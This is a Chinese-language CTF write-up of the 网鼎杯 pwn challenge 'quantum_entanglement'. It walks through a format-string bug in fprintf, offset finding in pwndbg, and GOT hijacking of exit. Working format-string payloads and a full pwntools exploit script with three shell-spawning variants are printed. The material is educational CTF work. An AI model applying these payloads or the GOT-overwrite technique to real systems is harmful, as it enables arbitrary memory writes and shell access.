声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,知微安全以及文章作者不为此承担任何责任。知微安全拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经知微安全允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 |
上次介绍IO FILE的pwn题目时,提到exit函数中,会调用标准输出流(IO_2_1_stdout_)的vtable中的setbuf函数。可通过伪造vtable,劫持该函数,实现pwn。当时在想为什么不利用GOT表劫持exit呢?因此课下又复习了一遍GOT表劫持的原理。我想看完今天的介绍,大家也能明白其中的道理。
本期介绍今年网鼎杯的一道pwn题,quantum_entanglement。 题目不算难,利用到了格式化字符串任意地址写和GOT表劫持两个知识点。0x00 利用点分析
首先分析main函数的关键逻辑:
![32b4ac21703f7152a7b4277d3f4cea6d.png](https://img-blog.csdnimg.cn/img_convert/32b4ac21703f7152a7b4277d3f4cea6d.png)
如果v8不等于v4,则调用exit()退出,而我们需要程序执行后面的system(“/bin/sh”)。所以,解题的思路至少有2个,
思路1: 使v8等于v4,让程序执行system(“/bin/sh”),获取系统shell。 思路2: 修改exit函数过程中的某个函数地址,实现劫持。再查看if语句之前的代码,发现log_in函数存在格式化字符串漏洞。![f3b217b7b3f5b52dced8f836f5e0d0b7.png](https://img-blog.csdnimg.cn/img_convert/f3b217b7b3f5b52dced8f836f5e0d0b7.png)
这个漏洞比较隐蔽。fprintf函数的原型是fprintf(FILE* stream, const char* fmt, ...),其中第二个参数是格式化字符串,而不是第三个。这里的a1和a2两个参数由用户输入,故存在格式化字符串漏洞。
0x01 格式化字符串得参数
利用 pwndbg调试 程序,在main函数中,通过 b fprintf命令,在fprintf函数下断点。程序运行到断点后,计算字符串的内存地址相对于fprintf第二个参数的偏移量。
![83bec16b79c23309f58850fc15cbc084.png](https://img-blog.csdnimg.cn/img_convert/83bec16b79c23309f58850fc15cbc084.png)
![4af628ee1bfa1c293782e1f4ec9f148c.png](https://img-blog.csdnimg.cn/img_convert/4af628ee1bfa1c293782e1f4ec9f148c.png)
![50d198d215f00f5509fc647c49fc7848.png](https://img-blog.csdnimg.cn/img_convert/50d198d215f00f5509fc647c49fc7848.png)
可以看到输出了栈上内容,输出的格式化字符串的第一个参数0x8048ac1 在栈上0xffffd048的位置,相对于fprintf的第二个参数0xffffd044,相距0xffffd048 - 0xffffd044 = 4。
0x02 思路1:栈上变量覆盖
修改v4和v8的值,使满足v4==v8,进而使程序跳过exit函数,执行system函数。v4和v8为int类型,是main函数的局部变量,存储在栈上。
![4af628ee1bfa1c293782e1f4ec9f148c.png](https://img-blog.csdnimg.cn/img_convert/4af628ee1bfa1c293782e1f4ec9f148c.png)
...[overwrite_addr]...%[overwrite_offset]$n
其中overwrite_addr为变量的内存地址,overwrite_offset为overwrite_addr处于格式化字符串的第几个参数,“...”为填充字符。
因此要修改
v4
或
v8
的值,我们
需要先获取其内存地址。
因为栈的基址和
libc
的基址类似,每次执行应用程序,加载的基址不一样。
所以我们需要先泄露栈地址。
Main
函数中,只允许我们输入两次,每次不超过
13
个字节。
修改一个变量最少需要
4+5=9
个字节(如
addr_v4%20$n
,
addr_v4
占
4
个字节,后面每个字符
1
个字节)。
综上,在题中的限制条件下,覆盖
v4
和
v8
变量的方法行不通,需要另想
办法。
0x03 思路2:GOT表劫持
不修改变量v4和v8的值,那么函数就会执行exit函数。exit函数是libc提供的函数,根据linux动态链接的相关知识可知,调用过程中会用到GOT表。GOT表存储在应用程序的数据段。
应用程序如果开启了随机地址保护(PIE),则每次运行程序,程序的基址、GOT表地址、PLT表地址,都会不一样。pwndbg中通过vmmap命令,可查看进程加载的每个文件的基址。
![08b25b9fb8b6246c1307b13441294962.png](https://img-blog.csdnimg.cn/img_convert/08b25b9fb8b6246c1307b13441294962.png)
![96086395a65b041a5b48e2302c834318.png](https://img-blog.csdnimg.cn/img_convert/96086395a65b041a5b48e2302c834318.png)
![b6e06e41fd5d242f756c017fa664df79.png](https://img-blog.csdnimg.cn/img_convert/b6e06e41fd5d242f756c017fa664df79.png)
![3034d29f645857dcc891ef83196123a3.png](https://img-blog.csdnimg.cn/img_convert/3034d29f645857dcc891ef83196123a3.png)
0x04 pwndbg调试
利用格式化字符串的任意地址覆盖方法,在没有输入长度限制的情况下,payload如下:
P32(0x804a028)+’%35287c’+’%20$hn’
其中
35
287=0x89db-4
,加上前面的
4
字节地址,为写入
GOT
表的值
0x89db(
只需修改最后
2
字节
)
,
20
表示
v10
是格式化字符串的第
20
个参数,
hn
表示覆盖
2
个字节。
这样的
payload
一共
4+7+6=17
个字节,超出
13
个字节的限
制。
题目给了两次输入,因此把paylaod拆分为两部分,分两次输入。第一次输入GOT
表中
exit
的地址,
p32(0x804a028)
。
第二次输入写入地址的值,
’%35291c’+’%20$hn’
,其中第二次输入因为少了目标地址的
4
个字节,所以直接使用
0x89db=35291
。
用两次输入的字符串拼接成一个完整的
payload
,这也是这道题为什么叫做量子纠缠(
quantum_entanglement
)的原因吧。
执行之后的结果如截图:
事实上,除了直接将GOT表中exit函数的地址修改为system函数地址,还有其它巧妙的方法。例如,将其劫持为sleep函数。这样exit(1)等效变成了sleep(1),Main函数执行完sleep之后,顺序执行system调用,获取shell。这种方法的好处是,因为exit@plt和sleep@plt的地址只有最后1个字节不同,所以只修改最后1个字节即可。最后,将几种方法罗列如下:
context.log_level = 'info'p = process("/root/Wangding2/entangled/quantum_entanglement")p.sendlineafter("FirstName:",p32(0x0804a028) )# Method 1: exit(1)=>system()payload = "%35291c%20$hn" # 2 bytes, 35291=0x89DB=system_addr # Method2: exit(1)=>sleep(1)#payload = "%34102c%20$hn" # 2 bytes, 34102=0x8536=sleep_plt # Method3: exit(1)=>sleep(1)#payload = "%54c%20$hhn" # 1 byte, 0x36=54 hhn p.sendlineafter("LastName:",payload)p.interactive()
0x06 问题总结
(1) 格式化字符串实现任意地址写 格式化字符串可以实现任意地址读和任意地址写。实现写的利用中,需要借助地址,可以理解为值是写入整数指针(地址)对应的内存中。因此在修改栈上的变量时,需要先获取变量的地址。而栈的基址,也是和libc一样,每次执行加载到的内存不同。(读取栈上的变量时,可以直接根据偏移量读取,不需要地址。)
(2) GOT表劫持
Linux系统中,应用程序通过GOT表和PLT代码段调用动态链接库提供的函数。如果应用程序没有开启随机地址保护(No PIE),则GOT表和PLT代码段的地址是固定的,可以通过pwndbg调试获取。如果应用程序提供了任意地址写的机会,如格式化字符串漏洞,则可以通过修改某函数的GOT表项,实现函数劫持。